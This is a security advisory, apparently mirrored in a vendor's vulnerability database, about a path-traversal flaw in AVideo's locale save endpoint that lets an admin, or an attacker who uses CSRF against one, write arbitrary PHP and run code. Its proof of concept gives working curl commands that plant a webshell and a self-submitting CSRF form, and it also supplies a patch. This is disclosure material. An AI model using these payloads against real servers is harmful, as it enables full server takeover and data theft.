Vulnerability Database

352,262

Total vulnerabilities in the database

WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE) — wwbn / avideo

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.

Details

In locale/save.php, the vulnerable code path is:

// locale/save.php:10 — only auth check, no CSRF token if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) { // ... die(json_encode($obj)); } // locale/save.php:16 — base directory $dir = "{$global['systemRootPath']}locale/"; // locale/save.php:30 — UNSANITIZED path concatenation $file = $dir.($_POST['flag']).".php"; $myfile = fopen($file, "w") or die("Unable to open file!"); // locale/save.php:40 — UNSANITIZED content write fwrite($myfile, $_POST['code']);

Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.

The file content is constructed as:

<?php global $t; {$_POST['code']} // attacker-controlled, written verbatim

An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).

CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.

PoC

Direct exploitation (requires admin session):

# Step 1: Write a webshell outside locale/ to the webroot curl -b 'PHPSESSID=<admin_session>' \ -X POST 'https://target/locale/save.php' \ -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);' # Step 2: Execute commands via the written webshell curl 'https://target/webshell.php?c=id' # Response: uid=33(www-data) gid=33(www-data) ...

CSRF variant (no direct admin access needed):

Host the following HTML on an attacker-controlled site and lure an admin to visit:

<html> <body> <form method="POST" action="https://target/locale/save.php"> <input type="hidden" name="flag" value="../../webshell"> <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'> </form> <script>document.forms[0].submit();</script> </body> </html>

After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.

Impact

  • Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
  • CSRF to RCE chain: Because no CSRF token is required and SameSite=None is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
  • Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Sanitize the flag parameter to prevent path traversal and add CSRF protection:

// locale/save.php — after the admin check at line 14 // Add CSRF token validation if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) { $obj->status = 0; $obj->error = __("Invalid token"); die(json_encode($obj)); } // Sanitize flag to prevent path traversal $flag = basename($_POST['flag']); // strip directory components if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) { $obj->status = 0; $obj->error = __("Invalid locale flag"); die(json_encode($obj)); } $file = $dir . $flag . ".php"; // Verify resolved path is within expected directory $realDir = realpath($dir); $realFile = realpath(dirname($file)) . '/' . basename($file); if (strpos($realFile, $realDir) !== 0) { $obj->status = 0; $obj->error = __("Invalid file path"); die(json_encode($obj)); }

Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.

  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-6rc6-p838-686f
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.